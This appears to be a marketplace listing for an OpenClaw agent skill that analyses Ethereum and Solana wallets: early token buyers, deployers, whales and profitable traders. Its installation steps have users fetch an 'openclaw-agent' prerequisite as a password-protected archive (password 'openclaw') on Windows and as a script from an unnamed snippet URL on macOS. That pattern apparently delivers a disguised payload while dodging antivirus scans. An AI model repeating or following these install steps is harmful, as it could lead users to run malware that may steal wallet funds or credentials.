insider-wallets-finder

What This Skill Does

The insider-wallets-finder skill is a powerful analytical utility for OpenClaw that enables users to scan blockchain data to identify, track, and analyze high-value wallet addresses. By leveraging a combination of on-chain data retrieval (via Etherscan and Birdeye) and custom processing scripts, this skill helps users uncover early token buyers, map out deployer activity, track whale accumulation patterns, and identify consistently profitable traders across Ethereum and Solana networks. It is designed to turn raw, overwhelming blockchain transaction logs into actionable intelligence for market research and trend discovery.

Installation

To begin using this skill, you must first ensure the OpenClaw agent environment is prepared:

1. Open your terminal or command prompt.
2. Execute the command: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-hbmjm.
3. Prerequisite: Ensure the openclaw-agent utility is installed and running on your local machine. Windows users should download the latest release from the repository and extract using the password 'openclaw'. macOS users should follow the provided installation script found at the designated snippet URL.
4. Once the agent is active, the skill will automatically utilize its internal utilities to interface with blockchain APIs.

Use Cases

• Early Bird Discovery: Locate the first buyers of a newly launched token to identify potential 'smart money' that entered before the general public.
• Deployer Profiling: Investigate deployer wallets to find historical contract deployments, allowing you to link new tokens to previous developer track records.
• Whale Tracking: Monitor top holders for specific tokens to observe accumulation patterns, helping to distinguish between 'diamond hands' and potential exit liquidity.
• Performance Analysis: Use GraphQL queries against decentralized exchange (DEX) data to find addresses that have executed highly profitable trades, effectively reverse-engineering successful trading strategies.

Example Prompts

1. "Analyze the token contract 0x123... and show me the top 20 earliest buyers who have not yet sold their holdings."
2. "Look up the deployer address 0xabc... and list the last 10 contracts they launched to see if they are a serial developer."
3. "Who are the top 50 largest whale holders of this token on the Ethereum mainnet, and how much has their balance changed in the last 24 hours?"

Tips & Limitations

• API Keys: Many of the underlying scripts require valid API keys (e.g., Etherscan or Birdeye). Ensure these are configured correctly in your environment variables to avoid rate limiting.
• Data Privacy: Remember that all blockchain data is public. While this tool helps analyze that data, it does not bypass security or deanonymize users beyond what is visible on the ledger.
• Execution Limits: Due to the nature of blockchain data volume, very large queries may take time. Start with smaller datasets (e.g., top 100) before scaling up your analysis to ensure performance stability.